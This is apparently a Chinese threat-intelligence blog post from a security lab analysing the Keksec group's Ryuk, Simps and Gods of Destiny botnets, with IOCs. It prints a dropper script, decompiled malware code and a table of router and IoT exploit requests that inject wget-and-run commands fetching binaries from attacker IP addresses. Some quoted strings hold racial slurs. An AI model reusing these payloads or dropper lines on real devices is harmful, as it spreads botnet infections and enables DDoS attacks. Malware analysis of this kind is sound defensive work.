Ryuk Botnet、 Simps Botnet 、Gods of Destny Botnet——Keksec团伙运营网络新增三个僵尸网络家族

blog.nsfocus.net/ryuk-botnet/

伏影实验室

一、概述

近期以来，绿盟科技伏影实验室高级威胁狩猎系统捕获到多个与Keksec黑客组织相关联的僵尸网络木马。经过详细的分析，我们发现该组织新增了成员ur0a，ur0a在4、5、6这三个月每月都在增加新变种到其运营网络当中，包含最新发现的僵尸网络Ryuk Botnet，gods of destny Botnet以及4月份以来十分活跃的Simps Botnet。
新增的三个僵尸网络有着相同的风格，它们似乎对于宣示主权尤为热衷，对于攻陷的机器第一件事便是插旗表示机器已被KekSec组织感染，并随即在感染日志中留下组织签名及联络方式，颇有恐怖组织对此次事件负责的意味。比如：
“This Device Is Infected By Ryuk Botnet Instagram:@ur0a_Discord:UR0A#2199-Ryuk#4652”。
同时，Keksec所采用的恶意代码架构也在不断的增加，在以往的活动中，该组织倾向于使用Mirai或Gafgyt架构来构建恶意代码，但近期却采用tsunami架构来构建了新的僵尸网络Ryuk Botnet。其后期将会如何发展值得引起我们的关注，伏影实验室将持续追踪Keksec组织及其所运营的Ryuk Botnet、gods of destny、Simps Botnet的活动。

二、Ryuk Botnet

Ryuk Botnet是绿盟科技伏影实验室捕获到的新型僵尸网络木马，其背后的组织是近期活动较为频繁的Keksec。木马在入侵设备后大张旗鼓的表明自己的身份，并留下组织信息：“This Device Has Been Infected by Ryuk Botnet Made By ur0a And Keksec Group”。

```
if ( sub_8830() <= 0 )
{
  if ( ((int (*)(void))sub_81CC)() )
  {
    sub_8AD0("Connection successful");
    v10 = sub_8AC4("Infected.log", "a+");
    sub_9FC0("This Device Has Been Infected by Ryuk Botnet Made By ur0a And Keksec Group :)\r\n", 1, 79, v10);
    sub_8944(v10);
    if ( *(_DWORD *)(v8 + 4) )
      sub_A680(&v9, *(_DWORD *)(v8 + 4));
    else
      strcpy(&v9, "unknown");
    v2 = sub_8610(dword_18E28, "%s", &v9);
  }
  else
  {
    v2 = sub_8AD0("Connection Failed");
  }
```

Ryuk Botnet基于tsunami架构，主要功能是发起DDoS攻击。

```
if ( result <= 0 )
{
  result = (int)sub_A878(*v8, "STD");       // STD Flood
  if ( result )
  {
    v3 = sub_8AC4((int)"Attack.log", (int)"a+");
    sub_8B84((int)v3, "Ryuk DDoS Attack Sent To: %s\r\n", v8[1]);
    sub_8944(v3);
```

Ryuk Botnet有多个版本，通常以ur0a.mips，ur0a.i686，ur0a.x86_64……的方式命名，其中大部分加了UPX壳,通过如下方式得以分发：

基础设施	拼接路径
185.224.129.235	/Ryuk/ur0a.mips
107.172.156.158	/Ryuk/ur0a.i686
107.172.156.158	/Ryuk/nigger.sh
192.236.146.182	/Ryuk/ur0a.i586
23.95.8.110	/Ryuk/ur0a.x86_64
	/Ryuk/ur0a.armv4l
	/Ryuk/ur0a.armv6l
	/Ryuk/ur0a.armv7l
	/Ryuk/ur0a.armv5l
	/Ryuk/ur0a.mipsel

部分版本中C2以明文的方式存储，没有留下instagram以及Discord联络方式，而在另外一些版本中，C2及黑客组织信息都以加密的方式存储：

```
BL      util_encryption
SUB     R3, R11, #-infected
MOV     R0, R3
BL      puts
LDR     R3, =aYmnx2ijNhj2nx2 ; "Ymnx2Ij{nhj2Nx2Nskjhyji2G~2W~zp2Gtysjy2"...
SUB     R2, R11, #-message
MOV     R12, #0x53 ; 'S'
MOV     R0, R2          ; dest
MOV     R1, R3          ; src
MOV     R2, R12         ; n
BL      memcpy
SUB     R3, R11, #-message
MOV     R0, R3          ; str
BL      util_encryption
LDR     R0, =aInfectednigger ; "InfectedNigger.log"
```

解密后：This-Device-Is-Infected-By-Ryuk-Botnet-Instagram:@ur0a_Discord:UR0A#2199-Ryuk#4652

其中留下两种联络方式：

instagram: @ur0a_

Discord: UR0A#2199

有趣的是ur0a颇有俄语Ура的意思。因其英译即为Ura，可译为万岁。看来作者真是满满的苏维埃血统。

同时，我们捕获到攻击者曾利用CVE-2021-33514漏洞下发或更新脚本文件nigger.sh。

VULNERABILITY	AFFECTED DEVICES	Exp
CVE-2021-33514	NETGEAR	GET /setup.cgi?token=cd/tmp;rm-rfnigger.sh;wgethttp://107.172.156.158/Ryuk/nigger.sh;chmod+xnigger.sh;./nigger.sh;wgethttp://195.133.40.24/

脚本文件nigger.sh被用于下发或更新Ryuk Botnet木马。

```
#!/bin/sh
cd /tmp;rm -rf ur0a.x86_64;wget http://192.236.146.182/Ryuk/ur0a.x86_64;chmod +x ur0a.x86_64;./ur0a.x86_64 x86_64;
cd /tmp;rm -rf ur0a.i686;wget http://192.236.146.182/Ryuk/ur0a.i686;chmod +x ur0a.i686;./ur0a.i686 i686;
cd /tmp;rm -rf ur0a.i586;wget http://192.236.146.182/Ryuk/ur0a.i586;chmod +x ur0a.i586;./ur0a.i586 i586;
cd /tmp;rm -rf ur0a.mips;wget http://192.236.146.182/Ryuk/ur0a.mips;chmod +x ur0a.mips;./ur0a.mips mips;
cd /tmp;rm -rf ur0a.mipsel;wget http://192.236.146.182/Ryuk/ur0a.mipsel;chmod +x ur0a.mipsel;./ur0a.mipsel mipsel;
cd /tmp;rm -rf ur0a.armv4l;wget http://192.236.146.182/Ryuk/ur0a.armv4l;chmod +x ur0a.armv4l;./ur0a.armv4l armv4l;
cd /tmp;rm -rf ur0a.armv5l;wget http://192.236.146.182/Ryuk/ur0a.armv5l;chmod +x ur0a.armv5l;./ur0a.armv5l armv5l;
cd /tmp;rm -rf ur0a.armv6l;wget http://192.236.146.182/Ryuk/ur0a.armv6l;chmod +x ur0a.armv6l;./ur0a.armv6l armv6l;
cd /tmp;rm -rf ur0a.armv7l;wget http://192.236.146.182/Ryuk/ur0a.armv7l;chmod +x ur0a.armv7l;./ur0a.armv7l armv7l;
```

通过对大量不同版本Ryuk Botnet的分析，我们发现：

1.Ryuk Botnet感染机器后的log文件依然存在；

2.用于下发及更新有效载荷的脚本文件nigger.sh有过多次变更；

3.Ryuk Botnet后期版本中函数命名消除了符号信息；

4.C2存储方式由明文转为加密存储。

5.木马功能单一。

基于这些，我们有理由认为Ryuk Botnet是一个处于开发初期阶段且不断更新与发展的僵尸网络。同时，我们也可以看到Keksec近期的一些活动：

1. keksec运营HybridMQ-keksec（组合Mirai和Gafgyt源代码修改而来）

2.今年4月份keksec开始运营Simps Botnet（基于Mirai架构）。

3.今年5月初 gods of destny Botnet开始出现（基于Mirai架构）。

4.今年6月初Ryuk Botnet开始频繁活动起来，并有过多个版本的更迭（基于tsunami架构）。

在Keksec以往的活动中，该组织倾向于使用Mirai或Gafgyt架构来构建恶意代码，Simps Botnet和gods of destny Botnet采用的都是mirai架构，但Keksec近期却采用tsunami架构来构建了新的僵尸网络Ryuk Botnet，而tsunami的功能从来不止于DDoS，下载并运行其它恶意软件也是其重要功能之一，其后期将会如何发展值得引起我们的关注。

三、Simps Botnet && gods of destny Botnet

僵尸网络木马Simps Botnet和gods of destny Botnet也与Ryuk Botnet具有相同的风格，它们似乎对于宣示主权尤为热衷。对于攻陷的机器第一件事便是插旗表示机器已被KekSec组织感染，颇有恐怖组织对此次事件负责的意味。

gods of destny Botnet：

```
fpp = (FILE *)fopen("KEKSEC.WAS.HERE", "w+", envp);
fwrite(
  "Ok so basically youve been infected by the gods of destiny aka keksec (we are now the gods of destiny)",
  1LL,
  102LL,
  fpp);
if ( argv[1] )
{
  v3 = (char *)argv[1];
  strcpy(&bot, v3);
}
else
{
  strcpy(enc_unk, "unknown");
  v3 = enc_unk;
  strcpy(&bot, enc_unk);
}
puts("you just got raped lmfaooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo");
```

Simps Botnet还留下了与Ryuk Botnet相同的两种联络方式：

```
puts("Infected By Simps Botnet ;)");
LogFile = (FILE *)fopen("Infected.log", L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
fwrite(
  "Thank You For Your Services.\r\n"
  "This Device Has successfully Been Infected\r\n"
  "With Malware By Simps Botnet ;)\r\n"
  "| instagram: @ur0a_ | Discord: UR0A#2109\r\n",
  1LL,
  149LL,
  LogFile);
fclose(LogFile);
```

然而经过仔细地分析后，我们发现Simps Botnet和gods of destny Botnet采用的都是mirai架构。背后的组织也都为KekSec，两者恶意软件的分发方式与Ryuk Botnet类似，都是从一个脚本文件开始，文件分发所采用服务器基础设施也与Ryuk Botnet有所重合。

Simps Botnet的一个版本中，携带漏洞高达13种。

VULNERABILITY	AFFECTED DEVICES	Exp
CVE-2018-10561	Dasan GPON routers	“POST /GponForm/diag_Form?images/ HTTP/1.1\r\n User-Agent: Hello, World\r\n Accept: */*\r\n Accept-Encoding: gzip, deflate\r\n Content-Type: application/x-www-form-urlencoded\r\n \r\n XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://23.95.80.200/gpo
CVE-2018-10562	Dasan GPON routers	“POST /GponForm/diag_Form?images/ HTTP/1.1\r\n User-Agent: Hello, World\r\n Accept: */*\r\n Accept-Encoding: gzip, deflate\r\n Content-Type: application/x-www-form-urlencoded\r\n \r\n XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://23.95.80.200/gpo gaf;sh+/tmp/gaf`&ipv=0”
CVE-2014-8361	Realtek	“POST /picdesc.xml HTTP/1.1\r\n Host: 127.0.0.1:52869\r\n Content-Length: 630\r\n Accept-Encoding: gzip, deflate\r\n SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\n Accept: */*\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n Connection: keep-alive\r\n \r\n <?xml version=\”1.0\” ?><s:Envelope xmlns:s=\”http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle= \”http://schemas.xmlsoap.org/soap/encoding/\”><s:Body><u:AddPortMapping xmlns:u=\”urn:schemas-upnp-org vice:WANIPConnection:1\”><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalP ol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf mips; v http://23.95.80.200/Simps/mips -O mips; chmod 777 mips; ./mips realtek`</NewInternalClient><NewEnabled> /NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0 uration></u:AddPortMapping></s:Body></s:Envelope>\r\n \r\n”
CVE-2017-17215	Huawei HG532	“POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\n Content-Length: 430\r\n Connection: keep-alive\r\n Accept: */*\r\n Authorization: Digest username=\”dslf-config\”, realm=\”HuaweiHomeGateway\”, nonce=\”88645cefb1f9ede0e3 3569d75ee30\”, uri=\”/ctrlt/DeviceUpgrade_1\”, response=\”3612f843a42db38f48f59d2a3597e19c\”, algorithm= MD5\”, qop=\”auth\”, nc=00000001, cnonce=\”248d1a2560100669\”\r\n \r\n <?xml version=\”1.0\” ?><s:Envelope xmlns:s=\”http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle= \”http://schemas.xmlsoap.org/soap/encoding/\”><s:Body><u:Upgrade xmlns:u=\”urn:schemas-upnp-org:service NPPPConnection:1\”><NewStatusURL>$(/bin/busybox wget -g 23.95.80.200 -l /tmp/binary -r /Simps/mips; /bin usybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEI ownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n” “POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\n” Content-Length: 430\r\n Connection: keep-alive\r\n Accept: */*\r\n Authorization: Digest username=\”dslf-config\”, realm=\”HuaweiHomeGateway\”, nonce=\”88645cefb1f9ede0e3 3569d75ee30\”, uri=\”/ctrlt/DeviceUpgrade_1\”, response=\”3612f843a42db38f48f59d2a3597e19c\”, algorithm= MD5\”, qop=\”auth\”, nc=00000001, cnonce=\”248d1a2560100669\”\r\n \r\n <?xml version=\”1.0\” ?><s:Envelope xmlns:s=\”http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle= \”http://schemas.xmlsoap.org/soap/encoding/\”><s:Body><u:Upgrade xmlns:u=\”urn:schemas-upnp-org:service NPPPConnection:1\”><NewStatusURL>$(/bin/busybox wget -g 23.95.80.200 -l /tmp/binary -r /wrgjwrgjwrg2463 56356/n2; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><N wDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n \r\n”

CVE-2018-20062	ThinkPHP	“GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[[]=’wget http://23.95.80.200/Simps/x86_64 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp’ HTTP/1.1\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: /\r\n User-Agent: WW3V1SRC/2.0\r\n \r\n”
Linksys RCE		“POST /tmUnblock.cgi HTTP/1.1\r\n Host: 127.0.0.1:80\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: /\r\n User-Agent: python-requests/2.20.0\r\n Content-Length: 227\r\n Content-Type: application/x-www-form-urlencoded\r\n \r\n ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Tmipsel%3B+wget+http%3A%2F%2F23.95.80.200%2FSimps%2FTr +Tmipsel%3B+.%2FTmipsel+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=
Zyxel RCE	Zyxel	“POST /cgi-bin/ViewLog.asp HTTP/1.1\r\n Host: 192.168.0.14:80\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: */*\r\n User-Agent: python-requests/2.20.0\r\n Content-Length: 227\r\n Content-Type: application/x-www-form-urlencoded\r\n \r\n /bin/busybox wget http://23.95.80.200/N1qq3r.sh; chmod +x N1qq3r.sh; ./N1qq3r.sh
UPnP SOAP Command Execution	D-Link Devices UPnP SOAP	“POST /UD/?9 HTTP/1.1\r\n User-Agent: OSIRIS\r\n Content-Type: text/xml\r\n SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\n \r\n <?xml version=\”1.0\” ?><s:Envelope xmlns:s=\”http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle= \”http://schemas.xmlsoap.org/soap/encoding/\”><s:Body><u:AddPortMapping xmlns:u=\”urn:schemas-upnp-or vice:WANIPConnection:1\”><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalP ol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; /dev/.e && cd /var/dev; wget http://23.95.80.200/N1qq3r.sh -O – > Hades.sh; chmod 777 Hades.sh; sh Hades.s h; rm Hades.sh; iptables -A INPUT -p tcp –destination-port 5555 -j DROP`</NewInternalClient><NewEnabled> </NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration> Duration></u:AddPortMapping></s:Body></s:Envelope>”
JAWS Webserver unauthenticated shell command execution		“GET /shell?cd+/tmp;rm+-rf+*;wget+ 23.95.80.200/Simps/armv4l;chmod+777+/tmp/armv4l;sh+/tmp/armv4l HT \n User-Agent: Hello, world\r\n Host: 127.0.0.1:80\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n Connection: keep-alive\r\n \r\n”
Linksys RCE	Linksys E-series devices	“POST /tmUnblock.cgi cd /tmp; rm -rf N1qq3r.sh; wget http://23.95.80.200/N1qq3r.sh;chmod 777 N1qq3r.sh;./N
HNAP SoapAction-Header Command Execution	D-Link devices	“POST /HNAP1/ HTTP/1.0\r\n Content-Type: text/xml; charset=\”utf-8\”\r\n SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://23.95.80.200/Simps/mips && hmod +x mips;./mips hnap`\r\n Content-Length: 640\r\n \r\n <?xml version=\”1.0\” encoding=\”utf-8\”?><soap:Envelope xmlns:xsi=\”http://www.w3.org/2001/XMLSchema-ir ance\” xmlns:xsd=\”http://www.w3.org/2001/XMLSchema\” xmlns:soap=\”http://schemas.xmlsoap.org/soap/env e/\”><soap:Body><AddPortMapping xmlns=\”http://purenetworks.com/HNAP1/\”><PortMappingDescription>foo ortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMapp rotocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body oap:Envelope>\r\n \r\n”

Comtrend VR-3033 RCE		“GET /ping.cgi?pingIpAddress=google.fr;wget%20http://23.95.80.200/N1qq3r.sh%20-O%20-%3E%20/tmp/jno;p/jno%27/&sessionKey=1039230114’$ HTTP/1.1\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: */*\r\n User-Agent: Hello, World\r\n \r\n”
CVE-2020-8958	Netlink GPON Router	“GET /boaform/admin/formPing?target_addr=;wget%20http://23.95.80.200/N1qq3r.sh%20-O%20-%3E%20/tm/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: */*\r\n User-Agent: Hello, World\r\n \r\n”

该版本所支持功能如下：

UDP	UDP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间	是否随机源 IP	单次攻击包大小	攻击次数，若未设置，则默认为 1000
RAW	UDP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间			
NULL	ICMP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间			
DOMINATE	UDP Flood(OVH ByPass)	.NickName	逗号分隔 IP	攻击端口	持续时间			
SLAM	ICMP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间			
TCP	TCP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间	是否随机源 IP	标志位，可以为 all 或 syn,rst,fin,ack,psh 的组合	单次攻击流大小
OVH	HTTP PGET Flood	.NickName	域名	攻击端口	持续时间	攻击次数		
VSE	UDP Flood(Valve source engine specific flood)	.NickName	逗号分隔 IP	攻击端口	持续时间	是否随机源 IP	单次攻击包大小	攻击次数，若未设置，则默认为 1000
NFO	STD Flood	.NickName	逗号分隔 IP	攻击端口	持续时间			
STOP	结束所有攻击进程	.NickName						
SHELL	执行 shell 命令	.NickName	命令					
TGODKILL	退出进程	.NickName						
CHANGEPASSWORD	更改密码	.NickName						

四、总结

Keksec是一个极为活跃的黑客组织，曾有报告称该组织至少由四人组成，主要通过DDoS攻击和勒索活动来获利，该组织向来比较高调，早在2018 就因黑掉广告牌并在推特上炫耀其入侵成果而占据新闻头条。近期，该组织又在不断构建与更新其僵尸网络，并在入侵设备后大张旗鼓的表明自己的身份，留下组织信息，短短三个月的时间就新增了多个僵尸网络组件，同时，他们所采用的恶意代码架构也在不断的增加，其后期将会如何发展值得引起我们的关注。

五、 IOC

MD5 :

1c8d2898439c95d5a8e566ba285f3129

b7a1cd513ea3aff1847fb5c7cdb9ca8d

87f1d9c6d33dc14b3186819d7740d019

9559d8521c4b65b5c8d06d40fddddc83

339d107321efca74553e4f5eac03d779

7f078854c3e0e763580d2351dc235f7a

1c5c75fe918e27e53104146c6643655e

d3f6c8ea992b1c7bec2a8cbeae81afdc

e79846cd74293dfcf5f37381a228fdbe

4aac6b909923a9c07fdfda6c24ced04c

1dddd6878b523130135075dca3e19d6e

28fc2bb60f8d290cf9813ad2c95becbd

40ff44e10f03f8cebca42d78f0fde8d0

54750cc2baf72aea1c9232a2ce0bb942

627758db57de511b58919450988bc288

04c38d5b33429714be8de125cb8123a8

72ac21c4e9cbd02f42d7aec452c21b7c

09536541d540f8f8c32ed5fe7163c789

06f1916f2357c71931c148f79718faa2

2c0510b8b14fcdbbddeaec331501ed0e

082694cf07e984de5b57662a198c9012

a629df5e8482b15573fdb990ca0bf4b5

3582e1c44b7828fa953da03d9024b09b

1ee802a9710f4dea9c750eebc0a15352

766ecab1137b0e186efb1ad8eae43ae3

6b26a6f28090b6e9f20579e25b87f07e

4273f0f1759a141629b62d7b428c9a25

8a0d9cbed0a7162d28cadaa18b83762a

36eb893b647c50b16d19da8505402610

38e52050f018d7dd592d596f00caf076

cb4b7615028a9bcaaf461664787cf5a2

9b72a6d18cdb63464f1f997eee06df2e

f0f2d1b7f4ffd565b6da0c0540cb3e66

fe9f307825d082e13b3665b676327d9f

7871e7e19d2db1616381104ff40896c6

55e85759962bb889cc113a3d9b4d6e25

ef77b873fb4cfcd474f24f82f3df4a49

d9996e501083e055c916e69ad4b2cb70

ec15c463ce5c0a286663402d225140ac

91a94a1492fc7a48aa32ac57e098151b

Ip

107.172.156.158

192.236.146.182

185.224.129.235

45.14.224.127

23.95.8.110

Strings

instagram: @ur0a_

Discord: UR0A#2199

gods of destny

Ryuk Botnet

Simps Botnet

ur0a.mips

ur0a.i686

nigger.sh

ur0a.i586

ur0a.x86_64

ur0a.armv4l

ur0a.armv6l

ur0a.armv7l

ur0a.armv5l

ur0a.mipsel

关于伏影实验室

研究目标包括Botnet、APT高级威胁，DDoS对抗，WEB对抗，流行服务系统脆弱利用威胁、身份认证威胁，数字资产威胁，黑色产业威胁及新兴威胁。通过掌控现网威胁来识别风险，缓解威胁伤害，为威胁对抗提供决策支撑。